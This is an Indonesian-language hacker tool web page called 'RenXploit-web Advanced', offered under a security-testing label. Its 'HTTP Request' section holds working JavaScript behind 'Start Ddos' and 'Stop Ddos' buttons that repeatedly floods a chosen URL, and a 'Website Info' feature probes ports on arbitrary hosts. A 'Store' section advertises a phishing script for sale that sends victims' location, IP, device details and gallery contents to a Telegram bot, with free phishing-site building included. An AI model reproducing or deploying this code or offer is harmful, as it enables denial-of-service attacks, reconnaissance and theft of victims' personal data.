<!--
-- Uploaded on : https://haxor.my.id/open/RenXploit.html
-- Official Web : https://prinsh.com
-- script-deface-generator.prinsh.com
-->
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>RenXploit-web Advanced</title>
<!-- SEO Meta Tags -->
<meta name="description" content="RenXploit Web - Website canggih untuk pengujian keamanan dan demonstrasi tools cybersecurity.">
<meta name="keywords" content="RenXploit, RenXploit web, cybersecurity, web security, pen testing, tools">
<meta name="robots" content="index, follow">
<link rel="canonical" href="https://theoys123.github.io/RenXploit-web">
<!-- Structured Data (JSON-LD) -->
<script type="application/ld+json">
{
"@context": "https://schema.org",
"@type": "WebSite",
"url": "https://theoys123.github.io/RenXploit-web",
"name": "RenXploit-web Advanced",
"description": "RenXploit Web - Website canggih untuk pengujian keamanan dan demonstrasi tools cybersecurity."
}
</script>
<!-- Open Graph / Facebook -->
<meta property="og:title" content="RenXploit-web Advanced">
<meta property="og:description" content="RenXploit Web - Website canggih untuk pengujian keamanan dan demonstrasi tools cybersecurity.">
<meta property="og:url" content="https://theoys123.github.io/RenXploit-web">
<meta property="og:type" content="website">
<!-- Twitter Card -->
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:title" content="RenXploit-web Advanced">
<meta name="twitter:description" content="RenXploit Web - Website canggih untuk pengujian keamanan dan demonstrasi tools cybersecurity.">
<!-- Google Fonts -->
<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;600&family=Pacifico&display=swap" rel="stylesheet">
<!-- External JS Libraries -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
<script type="text/javascript" src="https://cdn.emailjs.com/sdk/2.3.2/email.min.js"></script>
<!-- Optional: Google Analytics -->
<!-- Ganti UA-XXXXX-Y dengan tracking ID lo -->
<script async src="https://www.googletagmanager.com/gtag/js?id=UA-XXXXX-Y"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-XXXXX-Y');
</script>
<style>
/* Smooth Scrolling */
html {
scroll-behavior: smooth;
}
/* CSS Variables */
:root {
--primary-color: rgb(74, 144, 226); /* #4a90e2 */
--primary-dark: rgb(53, 122, 189); /* #357ABD */
--secondary-color: rgb(144, 19, 254); /* #9013fe */
--accent-gradient: linear-gradient(90deg, rgb(255,126,95), rgb(254,180,123));
--bg-color-start: rgb(13, 27, 42); /* Background awal */
--bg-color-end: rgb(27, 38, 59); /* Background akhir */
--white-transparent: rgba(255, 255, 255, 0.85);
--glass-bg: rgba(255, 255, 255, 0.7);
--transition-speed: 0.3s;
}
/* Background Animation menggunakan RGB */
@keyframes gradientBackground {
0% { background: linear-gradient(135deg, var(--bg-color-start), var(--bg-color-end)); }
50% { background: linear-gradient(135deg, var(--primary-color), var(--secondary-color)); }
100% { background: linear-gradient(135deg, var(--bg-color-start), var(--bg-color-end)); }
}
/* Animasi untuk menu masuk (fade, slide, zoom) */
@keyframes menuEntrance {
0% { opacity: 0; transform: translateY(20px) scale(0.95); }
100% { opacity: 1; transform: translateY(0) scale(1); }
}
/* Animasi Fade In & Slide untuk header */
@keyframes fadeInDown {
from { opacity: 0; transform: translateY(-20px); }
to { opacity: 1; transform: translateY(0); }
}
/* Animasi Glow untuk teks */
@keyframes glow {
from { text-shadow: 0 0 10px rgba(255,126,95,0.8); }
to { text-shadow: 0 0 20px rgba(255,126,95,1); }
}
/* Preloader Styling */
#preloader {
position: fixed;
z-index: 9999;
top: 0; left: 0;
width: 100%; height: 100%;
background: var(--bg-color-start);
display: flex;
align-items: center;
justify-content: center;
}
.spinner {
border: 8px solid rgba(255,255,255,0.2);
border-top: 8px solid var(--primary-color);
border-radius: 50%;
width: 60px;
height: 60px;
animation: spin 1s linear infinite;
}
@keyframes spin {
to { transform: rotate(360deg); }
}
/* Global Reset & Body Styling */
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: 'Poppins', sans-serif;
animation: gradientBackground 15s ease infinite;
color: #333;
line-height: 1.6;
overflow-x: hidden;
transition: background var(--transition-speed), color var(--transition-speed);
}
a { text-decoration: none; color: inherit; }
/* Header Styling */
header {
position: relative;
background: url("https://f.top4top.io/p_3329uuu3s1.jpg") no-repeat center center/cover;
background-attachment: fixed;
color: #fff;
text-align: center;
padding: 100px 20px 60px;
overflow: hidden;
}
header::before {
content: "";
position: absolute;
inset: 0;
background: rgba(0,0,0,0.5);
z-index: 1;
}
header h1, header p, header .current-time {
position: relative;
z-index: 2;
animation: fadeInDown 1s ease-out;
text-shadow: 0 2px 4px rgba(0,0,0,0.5);
}
header h1 { font-size: 3rem; margin-bottom: 10px; }
header p { font-size: 1.2rem; }
header .current-time { margin-top: 10px; font-size: 1rem; }
#visitorCounter { margin-top: 15px; font-size: 1.1rem; font-weight: 500; }
/* Sidebar Styles */
.sidebar-toggle {
position: fixed;
top: 20px;
left: 20px;
background: var(--primary-color);
border: none;
color: #fff;
font-size: 26px;
padding: 12px 18px;
border-radius: 6px;
z-index: 1200;
cursor: pointer;
transition: background var(--transition-speed), transform var(--transition-speed);
box-shadow: 0 4px 10px rgba(0,0,0,0.2);
}
.sidebar-toggle:hover { background: var(--primary-dark); transform: scale(1.05); }
#sidebar {
position: fixed;
top: 0;
left: -300px;
width: 300px;
height: 100%;
background: rgba(0, 0, 0, 0.9);
color: #fff;
transition: left var(--transition-speed) ease;
z-index: 1100;
padding-top: 80px;
backdrop-filter: blur(4px);
}
#sidebar.active { left: 0; }
#sidebar ul { list-style: none; }
#sidebar ul li {
padding: 18px 25px;
cursor: pointer;
border-bottom: 1px solid rgba(255,255,255,0.1);
transition: background var(--transition-speed), transform 0.3s ease;
}
#sidebar ul li:hover {
background: rgba(255,255,255,0.1);
transform: translateX(5px);
}
#sidebar .close-btn {
position: absolute;
top: 20px;
right: 25px;
font-size: 28px;
cursor: pointer;
}
/* Container & Section Styles */
.container {
max-width: 1400px; /* Kontainer utama diperlebar */
margin: 60px auto;
padding: 0 20px;
}
.menu-section {
display: none;
background: var(--white-transparent);
border-radius: 12px;
padding: 40px;
margin-bottom: 40px;
box-shadow: 0 8px 32px rgba(31,38,135,0.37);
backdrop-filter: blur(10px);
-webkit-backdrop-filter: blur(10px);
border: 1px solid rgba(255,255,255,0.18);
animation: menuEntrance 0.8s ease-out;
}
/* Animasi Hover pada judul tiap menu */
.menu-section h2 {
transition: transform 0.3s;
}
.menu-section h2:hover {
transform: scale(1.05);
}
/* Main Menu Styling */
#menu1 {
text-align: center;
padding: 80px 20px;
background: linear-gradient(135deg, var(--primary-color), var(--secondary-color));
color: #fff;
border-radius: 12px;
position: relative;
overflow: hidden;
}
#menu1 h2 {
font-family: 'Pacifico', cursive;
font-size: 3rem;
background: var(--accent-gradient);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
animation: glow 1.5s ease-in-out infinite alternate;
}
#menu1 p { font-size: 1.2rem; margin-top: 20px; }
/* Profile Section Styling */
.profile-section {
display: flex;
justify-content: center;
align-items: center;
padding: 80px 20px;
background: linear-gradient(135deg, rgb(30,60,114), rgb(42,82,152));
}
.profile-card {
background: var(--glass-bg);
border-radius: 15px;
box-shadow: 0 8px 32px rgba(31,38,135,0.37);
backdrop-filter: blur(10px);
-webkit-backdrop-filter: blur(10px);
padding: 40px;
max-width: 600px;
width: 100%;
text-align: center;
}
.profile-card h2 {
font-size: 2.8rem;
margin-bottom: 20px;
background: var(--accent-gradient);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
}
.profile-image {
margin: 0 auto 20px;
width: 150px;
height: 150px;
border-radius: 50%;
overflow: hidden;
border: 4px solid rgb(229,46,113);
transition: transform var(--transition-speed);
}
.profile-image img { width: 100%; height: 100%; object-fit: cover; }
.profile-image:hover { transform: scale(1.1); }
.profile-info p { font-size: 1.2rem; color: #333; line-height: 1.5; }
/* Form, Table & Button Styles */
section[id^="menu"] input,
section[id^="menu"] textarea,
section[id^="menu"] select,
section[id^="menu"] button {
width: 100%;
padding: 14px;
margin-bottom: 15px;
border: 1px solid #ccc;
border-radius: 6px;
font-size: 1rem;
transition: border-color var(--transition-speed);
}
section[id^="menu"] input:focus,
section[id^="menu"] textarea:focus,
section[id^="menu"] select:focus {
border-color: var(--primary-color);
outline: none;
}
section[id^="menu"] button {
background: var(--primary-color);
color: #fff;
cursor: pointer;
transition: background var(--transition-speed), transform var(--transition-speed);
box-shadow: 0 4px 8px rgba(0,0,0,0.1);
}
section[id^="menu"] button:hover { background: var(--primary-dark); transform: translateY(-2px); }
table { width: 100%; border-collapse: collapse; margin-top: 20px; }
table th, table td { border: 1px solid #ddd; padding: 12px; text-align: center; }
table th { background: #f7f7f7; }
#resultSummary { margin-top: 10px; font-weight: 600; font-size: 1.1rem; }
/* Scroll-to-top Button */
#scrollToTop {
position: fixed;
bottom: 40px;
right: 40px;
background: var(--primary-color);
color: #fff;
border: none;
padding: 12px 16px;
border-radius: 50%;
font-size: 24px;
cursor: pointer;
opacity: 0;
visibility: hidden;
transition: opacity 0.4s, visibility 0.4s;
z-index: 1200;
box-shadow: 0 4px 10px rgba(0,0,0,0.2);
}
#scrollToTop.show {
opacity: 1;
visibility: visible;
}
/* Footer Styling */
footer {
text-align: center;
padding: 20px;
background: #fff;
border-top: 1px solid #ddd;
margin-top: 40px;
font-size: 0.9rem;
}
/* Responsive Adjustments */
@media (max-width: 768px) {
header h1 { font-size: 2.5rem; }
header p { font-size: 1rem; }
.sidebar-toggle { font-size: 22px; padding: 10px 14px; }
#menu1 h2 { font-size: 2.5rem; }
}
</style>
<script type="text/javascript">
(function(){
emailjs.init("s4P1SiFZFPm_FXrT6");
})();
</script>
</head>
<body>
<!-- Preloader -->
<div id="preloader">
<div class="spinner"></div>
</div>
<!-- Sidebar Toggle -->
<button id="openSidebar" class="sidebar-toggle">☰</button>
<!-- Sidebar -->
<div id="sidebar">
<span class="close-btn" id="closeSidebar">×</span>
<ul>
<li onclick="showMenu('menu1')">Main Menu</li>
<li onclick="showMenu('menu2')">HTTP Request</li>
<li onclick="showMenu('menu3')">Profile</li>
<li onclick="showMenu('menu4')">Website Info</li>
<li onclick="showMenu('menu5')">Script Runner</li>
<li onclick="showMenu('menu6')">Encryption Tools</li>
<li onclick="showMenu('menu7')">Telegram Bot</li>
<li onclick="showMenu('menu8')">Info Terkini</li>
<li onclick="showMenu('menu9')">Store</li>
<li onclick="showMenu('menu10')">Documentation</li>
<li onclick="showMenu('menu11')">Tools</li>
<li onclick="showMenu('menu12')">Support</li>
<li onclick="showMenu('menu13')">Settings</li>
<li onclick="showMenu('menu14')">About</li>
</ul>
</div>
<!-- Header Section -->
<header>
<h1>Selamat Datang di RenXploit-web Advanced</h1>
<p>Website serbaguna dengan fitur Chat Bot, HTTP Request, Tools, dan banyak lagi.</p>
<div id="visitorCounter">Pengunjung: <span id="visitorCount">Loading...</span></div>
<div class="current-time" id="currentTime"></div>
</header>
<!-- Main Container -->
<div class="container">
<!-- Menu 1: Main Menu -->
<section id="menu1" class="menu-section">
<div style="font-size: 3em; animation: fadeInDown 2s ease-out;">WELCOME...</div>
<p>Selamat datang di RenXploit-web Advanced. Nikmati pengalaman antarmuka modern, responsif, dan fitur-fitur canggih.</p>
</section>
<!-- Menu 2: HTTP Request -->
<section id="menu2" class="menu-section">
<label for="attackMode">Mode Request</label>
<select id="attackMode">
<option value="normal">Normal Request</option>
<option value="http_flood">HTTP Flood</option>
<option value="syn_flood">SYN Flood</option>
<option value="udp_flood">UDP Flood</option>
</select>
<div class="request-section">
<h1 style="animation: fadeInDown 1s forwards; font-size: 30px;">Kirim HTTP Request</h1>
<label for="url">URL</label>
<input type="text" id="url" placeholder="https://contoh.com">
<label for="senderName">Nama Pengirim Opsional</label>
<input type="text" id="senderName" placeholder="Masukkan nama Anda">
<label for="method">Method</label>
<select id="method">
<option value="GET">GET</option>
<option value="POST">POST</option>
<option value="PUT">PUT</option>
<option value="DELETE">DELETE</option>
<option value="HEAD">HEAD</option>
<option value="OPTIONS">OPTIONS</option>
<option value="PATCH">PATCH</option>
<option value="TRACE">TRACE</option>
<option value="CONNECT">CONNECT</option>
<option value="PROPFIND">PROPFIND</option>
</select>
<label for="payload">Payload (untuk method selain GET/HEAD)</label>
<textarea id="payload" rows="4" placeholder='{"key": "value"}'></textarea>
<label for="threads">Jumlah Threads</label>
<input type="number" id="threads" value="1" min="1" max="10">
<div>
<button id="start">Start Ddos</button>
<button id="stop">Stop Ddos</button>
</div>
<div id="status"></div>
<table id="logTable">
<thead>
<tr>
<th>No</th>
<th>Timestamp</th>
<th>Thread</th>
<th>Method</th>
<th>Sender</th>
<th>Status</th>
</tr>
</thead>
<tbody></tbody>
</table>
<div id="resultSummary">Total Sukses: 0 | Total Gagal: 0</div>
<button id="toggleGuide">Tampilkan Panduan</button>
<div id="usageGuide" style="display:none;">
<h1 style="animation: fadeInDown 1s forwards; font-size: 20px;">Panduan HTTP Request</h1>
<ul>
<li><strong>GET:</strong> Mengambil data dari server.</li>
<li><strong>POST:</strong> Mengirim data baru ke server.</li>
<li><strong>PUT:</strong> Mengganti data yang ada secara keseluruhan.</li>
<li><strong>DELETE:</strong> Menghapus data dari server.</li>
<li><strong>HEAD:</strong> Mengambil header respons tanpa body.</li>
<li><strong>OPTIONS:</strong> Mengambil opsi komunikasi yang didukung server.</li>
<li><strong>PATCH:</strong> Mengupdate sebagian data yang ada.</li>
<li><strong>TRACE:</strong> Melacak rute request.</li>
<li><strong>CONNECT:</strong> Menghubungkan ke server melalui proxy.</li>
<li><strong>PROPFIND:</strong> Mengambil properti dari resource (umumnya WebDAV).</li>
</ul>
<p>Pastikan URL valid (gunakan http:// atau https://) dan payload sesuai dengan method yang dipilih.</p>
<pre>{ "action": "create", "data": { "name": "RenXploit Tools", "type": "security", "status": "active" } }</pre>
</div>
</div>
</section>
<!-- Menu 3: Profile -->
<section id="menu3" class="menu-section profile-section">
<div class="profile-card">
<h2>Profil Saya</h2>
<div class="profile-image">
<img src="https://f.top4top.io/p_3329uuu3s1.jpg" alt="Profil Saya">
</div>
<div class="profile-info">
<p>Halo, saya <strong>[RenXploit]</strong>. Saya seorang web developer yang berdedikasi menciptakan solusi digital canggih, modern, dan inovatif. Selamat datang di profil saya!</p>
</div>
</div>
</section>
<!-- Menu 4: Website Info -->
<section id="menu4" class="menu-section">
<h2>Informasi Website</h2>
<label for="infoUrl">Masukkan URL Website</label>
<input type="text" id="infoUrl" placeholder="https://contoh.com">
<button onclick="cekWebsiteInfo()">Dapatkan Info</button>
<div id="infoResult">
<p>Informasi website akan muncul di sini setelah Anda memasukkan URL.</p>
</div>
</section>
<!-- Menu 5: Script Runner -->
<section id="menu5" class="menu-section">
<div class="blog-frame">
<iframe src="https://boy122333.github.io/run-script/" width="100%" height="600px" style="border: none;"></iframe>
</div>
</section>
<!-- Menu 6: Encryption Tools -->
<section id="menu6" class="menu-section">
<div class="blog-frame">
<h3>Note!</h3>
<p>Proses paste script bisa memakan waktu, tergantung banyaknya baris. Jika tampilan error, coba refresh halaman atau nonaktifkan VPN/proxy yang mengganggu.</p>
<br>
<iframe src="https://www.isdntek.com/tagbot/encryptor.htm" width="100%" height="600px" style="border: none;"></iframe>
</div>
</section>
<!-- Menu 7: Telegram Bot Control -->
<section id="menu7" class="menu-section">
<div class="blog-frame">
<iframe src="https://boy122333.github.io/tele_bot/" width="100%" height="600px" style="border: none;"></iframe>
</div>
</section>
<!-- Menu 8: Info Terkini -->
<section id="menu8" class="menu-section">
<div class="blog-frame">
<iframe src="https://boy122333.github.io/denzzelainaa/" width="100%" height="600px" style="border: none;"></iframe>
</div>
</section>
<!-- Menu 9: Store -->
<section id="menu9" class="menu-section">
<h2>Store</h2>
<p>
Script Phishing Terbaru by RenXploit! Cuma klik tombol, data langsung terkirim! π₯ Mau coba? DM sekarang! π©<br><br>
π Script Phishing By RenXploit π<br><br>
π₯ Apa Itu Script Phishing Ini?<br><br>
Script phishing ini menggunakan tombol aksi untuk memancing target melakukan klik. Saat target menekan tombol, sistem akan mengumpulkan informasi penting seperti lokasi, alamat IP, jenis perangkat, dan lainnya, lalu mengirimkannya secara otomatis ke bot Telegram.<br><br>
π Fitur Unggulan<br><br>
β
Tanpa Halaman Login Palsu β Tidak perlu memasukkan username/password, cukup klik tombol, data langsung dikirim!<br>
β
Auto Capture Data β Informasi target dikirim otomatis ke bot Telegram tanpa perlu konfigurasi tambahan.<br>
β
Real-Time Tracking β Bisa melacak lokasi langsung saat target menekan tombol.<br>
β
Multi-Platform Support β Bisa dijalankan di Termux, website, atau VPS untuk fleksibilitas lebih besar.<br>
β
Mudah Digunakan β Setup cepat, cukup jalankan script dan sebarkan link ke target.<br>
β
Gratis Bantuan Instalasi β Jika butuh bantuan pemasangan, gue siap bantu sampai script bisa jalan!<br>
β
Bonus Website Gratis! β Setiap pembelian script dapat layanan pembuatan website phishing gratis biar langsung siap pakai!<br><br>
π Metode yang Didukung<br><br>
πΉ Website Phishing (Link Click Method) β Target hanya perlu klik tombol, dan data akan langsung dikirim.<br>
πΉ Terminal Mode (Support Termux) β Bisa dijalankan langsung di HP Android menggunakan Termux.<br>
πΉ Cloud / VPS Mode β Bisa dihosting di server agar performa lebih stabil.<br><br>
π Layanan Tambahan (Gratis! π―)<br><br>
π¨ Pembuatan Website Gratis β Setiap pembelian script, gue bantu bikinin website phishing sesuai kebutuhan lo!<br>
β Bantuan Instalasi β Nggak ngerti cara pasang? Tenang, gue bakal bantu setup dari nol sampai jadi!<br>
π Customisasi Script β Mau ubah tampilan atau fitur? Bisa request biar lebih sesuai kebutuhan lo!<br><br>
π Kegunaan Script Ini<br><br>
β Mempelajari teknik rekayasa sosial (social engineering) dalam pentesting.<br>
β Melacak lokasi dan informasi target dengan satu klik.<br>
β Simulasi serangan phishing tanpa perlu halaman login palsu.<br>
β Dapat mengambil sebagian dari galeri korbanβ<br><br>
πΈ Screenshot Script (version website)<br>
π <a href="https://www.top4top.me/4lNQqQkXtDVshlk/preview" target="_blank">https://www.top4top.me/4lNQqQkXtDVshlk/preview</a><br><br>
π· Lihat tampilan script di sini:<br>
π <a href="https://www.top4top.me/N55wwXEp8oNXgt6/preview" target="_blank">https://www.top4top.me/N55wwXEp8oNXgt6/preview</a><br><br>
π Website Resmi<br>
π <a href="https://THEOYS123.github.io/RenXploit-webb" target="_blank">https://THEOYS123.github.io/RenXploit-webb</a><br><br>
π² Minat? Langsung Chat!<br>
π WhatsApp: +62 895-1945-0908<br><br>
π° Harga? Bisa langsung ditanyakan via WhatsApp!
</p>
</section>
<!-- Menu 10: Documentation -->
<section id="menu10" class="menu-section">
<h2>Documentation</h2>
<p>Temukan dokumentasi lengkap mengenai penggunaan dan fitur-fitur website ini.</p>
<ul>
<li><a href="#" target="_blank">User Guide</a></li>
<li><a href="#" target="_blank">API Documentation</a></li>
<li><a href="#" target="_blank">Developer Docs</a></li>
</ul>
</section>
<!-- Menu 11: Tools -->
<section id="menu11" class="menu-section">
<h2>Tools</h2>
<p>Kumpulan tools cybersecurity untuk membantu pengujian dan analisis kerentanan.</p>
<ul>
<li>Port Scanner</li>
<li>Vulnerability Analyzer</li>
<li>Exploit Database</li>
<li>Network Mapper</li>
<li>Password Cracker (Demo)</li>
</ul>
</section>
<!-- Menu 12: Support -->
<section id="menu12" class="menu-section">
<h2>Support</h2>
<p>Jika membutuhkan bantuan atau memiliki pertanyaan, isi form di bawah. Pesan akan dikirim ke <strong>renpentest@gmail.com</strong> via EmailJS.</p>
<form id="supportForm">
<label for="supportName">Nama:</label>
<input type="text" id="supportName" name="support_name" placeholder="Nama Anda" required>
<label for="supportEmail">Email:</label>
<input type="email" id="supportEmail" name="support_email" placeholder="Email Anda" required>
<label for="supportMessage">Pesan:</label>
<textarea id="supportMessage" name="support_message" rows="4" placeholder="Tuliskan pesan atau pertanyaan..." required></textarea>
<button type="submit">Kirim Pesan</button>
</form>
<div id="supportStatus"></div>
</section>
<!-- Menu 13: Settings -->
<section id="menu13" class="menu-section">
<h2>Settings</h2>
<p>Atur preferensi tampilan, bahasa, dan negara. Pilih tema dan bahasa, lalu simpan agar perubahan langsung diterapkan.</p>
<form id="settingsForm">
<label for="themeSelect">Pilih Tema:</label>
<select id="themeSelect">
<option value="default">Default</option>
<option value="dark">Dark Mode</option>
<option value="light">Light Mode</option>
</select>
<label for="langSelect">Pilih Bahasa:</label>
<select id="langSelect">
<option value="id">Bahasa Indonesia</option>
<option value="en">English</option>
<option value="es">EspaΓ±ol</option>
<option value="fr">Français</option>
<option value="de">Deutsch</option>
</select>
<label for="countrySelect">Pilih Negara:</label>
<input type="text" id="countrySelect" list="countryList" placeholder="Cari negara...">
<datalist id="countryList">
<option value="Indonesia">
<option value="United States">
<option value="United Kingdom">
<option value="Australia">
<option value="Canada">
<option value="France">
<option value="Germany">
<option value="Spain">
<option value="Italy">
<option value="Japan">
<option value="South Korea">
<option value="Brazil">
</datalist>
<button type="submit">Simpan Pengaturan</button>
</form>
</section>
<!-- Menu 14: About -->
<section id="menu14" class="menu-section">
<h2>About</h2>
<p>Website ini dikembangkan oleh tim RenXploit untuk pengujian keamanan dan demonstrasi tools cybersecurity. Kami berkomitmen menyediakan solusi digital inovatif dan canggih.</p>
<p>Kontak: renpentest@gmail.com</p>
</section>
</div>
<!-- Scroll-to-top Button -->
<button id="scrollToTop">⇧</button>
<!-- Footer -->
<footer>
© 2025 RenXploit. All rights reserved.
</footer>
<script>
// Preloader: Hapus preloader saat window load
window.addEventListener('load', () => {
document.getElementById('preloader').style.display = 'none';
});
// Sidebar Toggle
const sidebar = document.getElementById('sidebar');
document.getElementById('openSidebar').addEventListener('click', () => sidebar.classList.add('active'));
document.getElementById('closeSidebar').addEventListener('click', () => sidebar.classList.remove('active'));
// Function to Switch Menus
function showMenu(menuId) {
document.querySelectorAll('.menu-section').forEach(section => section.style.display = 'none');
document.getElementById(menuId).style.display = 'block';
window.scrollTo(0, 0);
sidebar.classList.remove('active');
}
showMenu('menu1');
// Visitor Counter
fetch('https://api.countapi.xyz/hit/THEOYS123/myportfolio')
.then(response => response.json())
.then(data => document.getElementById('visitorCount').innerText = data.value)
.catch(err => {
console.error('Visitor counter error:', err);
document.getElementById('visitorCount').innerText = 'N/A';
});
// Toggle HTTP Request Guide
document.getElementById('toggleGuide').addEventListener('click', () => {
const guide = document.getElementById('usageGuide');
guide.style.display = (guide.style.display === 'none' || guide.style.display === '') ? 'block' : 'none';
document.getElementById('toggleGuide').textContent = (guide.style.display === 'block') ? 'Tutup Panduan' : 'Tampilkan Panduan';
});
/* HTTP Request Feature */
let intervals = [], successCount = 0, failCount = 0, logCounter = 0;
const logTableBody = document.querySelector('#logTable tbody');
const resultSummary = document.getElementById('resultSummary');
function updateSummary() {
resultSummary.textContent = `Total Sukses: ${successCount} | Total Gagal: ${failCount}`;
}
function addLogRow(threadId, method, sender, status) {
logCounter++;
const row = document.createElement('tr');
const timestamp = new Date().toLocaleTimeString();
row.innerHTML = `<td>${logCounter}</td><td>${timestamp}</td><td>${threadId}</td><td>${method}</td><td>${sender}</td><td>${status}</td>`;
logTableBody.appendChild(row);
}
document.getElementById('start').addEventListener('click', () => {
let url = document.getElementById('url').value.trim();
const senderName = document.getElementById('senderName').value.trim() || 'Test';
const method = document.getElementById('method').value;
const payload = document.getElementById('payload').value.trim();
const threads = parseInt(document.getElementById('threads').value, 10);
const statusDiv = document.getElementById('status');
if (payload && /((<|%3C)\s*script|javascript:|onerror\s*=)/i.test(payload)) {
statusDiv.innerHTML = '<span style="color:red;">Payload XSS terdeteksi!</span>';
return;
}
if (!url) { alert("Masukkan URL yang valid!"); return; }
statusDiv.textContent = "Mengirim request...";
for (let i = 0; i < threads; i++) {
const intervalId = setInterval(() => {
const options = { method, mode: 'no-cors', cache: 'no-store' };
if (method !== "GET" && method !== "HEAD") {
options.headers = { "Content-Type": "application/json", "X-Sender": senderName };
options.body = payload || "{}";
}
fetch(url, options)
.then(() => { successCount++; addLogRow(i + 1, method, senderName, 'Terkirim'); updateSummary(); })
.catch(err => { failCount++; addLogRow(i + 1, method, senderName, 'Gagal'); updateSummary(); console.error(err); });
}, 2000);
intervals.push(intervalId);
}
statusDiv.textContent = "Request telah dikirim (mode no-cors).";
});
document.getElementById('stop').addEventListener('click', () => {
intervals.forEach(id => clearInterval(id));
intervals = [];
document.getElementById('status').textContent = "Pengiriman request dihentikan.";
});
/* Website Info Feature */
function cekWebsiteInfo() {
let url = document.getElementById('infoUrl').value.trim();
if (!url) { alert("Masukkan URL website!"); return; }
if (!/^https?:\/\//i.test(url)) { url = "https://" + url; }
document.getElementById('infoResult').innerHTML = "Loading...";
const hostname = (new URL(url)).hostname;
const start = performance.now();
let proxyUrl = "https://api.allorigins.hexocode.repl.co/get?disableCache=true&url=" + encodeURIComponent(url);
fetch(proxyUrl, { method: 'GET' })
.then(response => { if (!response.ok) throw new Error("Response tidak ok"); return response.json(); })
.then(data => {
let diff = performance.now() - start;
fetch("https://dns.google/resolve?name=" + hostname + "&type=A")
.then(resp => resp.json())
.then(dnsData => {
let ip = dnsData.Answer ? dnsData.Answer.map(ans => ans.data).join(", ") : "N/A";
const ports = [21,22,23,25,53,80,110,143,443,8080];
const portPromises = ports.map(port => new Promise(resolve => {
const img = new Image();
const timer = setTimeout(() => resolve({ port: port, open: false }), 2000);
img.onload = () => { clearTimeout(timer); resolve({ port: port, open: true }); };
img.onerror = () => { clearTimeout(timer); resolve({ port: port, open: false }); };
img.src = "http://" + hostname + ":" + port + "/favicon.ico?" + new Date().getTime();
}));
Promise.all(portPromises).then(results => {
const openPorts = results.filter(r => r.open).map(r => r.port).join(", ") || "None";
document.getElementById('infoResult').innerHTML = `<strong>IP Address:</strong> ${ip}<br>
<strong>Open Ports:</strong> ${openPorts}<br>
<strong>Response Time:</strong> ${diff.toFixed(2)} ms<br>
<strong>Status:</strong> Success`;
});
})
.catch(err => document.getElementById('infoResult').innerHTML = "Error mendapatkan IP: " + err);
})
.catch(err => document.getElementById('infoResult').innerHTML = "Error mengakses website: " + err);
}
/* Support Feature via EmailJS */
document.getElementById('supportForm').addEventListener('submit', function(e) {
e.preventDefault();
emailjs.sendForm('service_jtzqjhd', 'template_3idp0gk', this)
.then(function(response) {
document.getElementById('supportStatus').innerHTML = "Pesan berhasil dikirim. Tim kami akan segera merespon pesan Anda.";
}, function(error) {
document.getElementById('supportStatus').innerHTML = "Terjadi kesalahan, pesan tidak terkirim.";
console.error('FAILED...', error);
});
});
/* Settings Feature */
window.addEventListener('load', function(){
var savedTheme = localStorage.getItem('theme') || 'default';
document.getElementById('themeSelect').value = savedTheme;
if(savedTheme === 'dark'){
document.body.classList.add('dark-mode');
document.body.classList.remove('light-mode');
} else if(savedTheme === 'light'){
document.body.classList.add('light-mode');
document.body.classList.remove('dark-mode');
} else {
document.body.classList.remove('dark-mode');
document.body.classList.remove('light-mode');
}
var savedLang = localStorage.getItem('language') || 'id';
document.getElementById('langSelect').value = savedLang;
var savedCountry = localStorage.getItem('country') || '';
document.getElementById('countrySelect').value = savedCountry;
});
document.getElementById('settingsForm').addEventListener('submit', function(e) {
e.preventDefault();
var selectedTheme = document.getElementById('themeSelect').value;
var selectedLang = document.getElementById('langSelect').value;
var selectedCountry = document.getElementById('countrySelect').value;
localStorage.setItem('theme', selectedTheme);
localStorage.setItem('language', selectedLang);
localStorage.setItem('country', selectedCountry);
if(selectedTheme === 'dark'){
document.body.classList.add('dark-mode');
document.body.classList.remove('light-mode');
} else if(selectedTheme === 'light'){
document.body.classList.add('light-mode');
document.body.classList.remove('dark-mode');
} else {
document.body.classList.remove('dark-mode');
document.body.classList.remove('light-mode');
}
alert("Pengaturan telah disimpan!\nTema: " + selectedTheme + "\nBahasa: " + (selectedLang === 'id' ? "Bahasa Indonesia" : "English") + "\nNegara: " + selectedCountry);
});
/* Dynamic Time Display in Header */
function updateTime() {
const now = new Date();
const timeStr = now.toLocaleTimeString();
document.getElementById('currentTime').textContent = "Waktu: " + timeStr;
}
setInterval(updateTime, 1000);
updateTime();
/* Scroll-to-top Button Functionality */
const scrollBtn = document.getElementById('scrollToTop');
window.addEventListener('scroll', () => {
if (window.pageYOffset > 300) {
scrollBtn.classList.add('show');
} else {
scrollBtn.classList.remove('show');
}
});
scrollBtn.addEventListener('click', () => {
window.scrollTo({ top: 0, behavior: 'smooth' });
});
</script>
</body>
</html>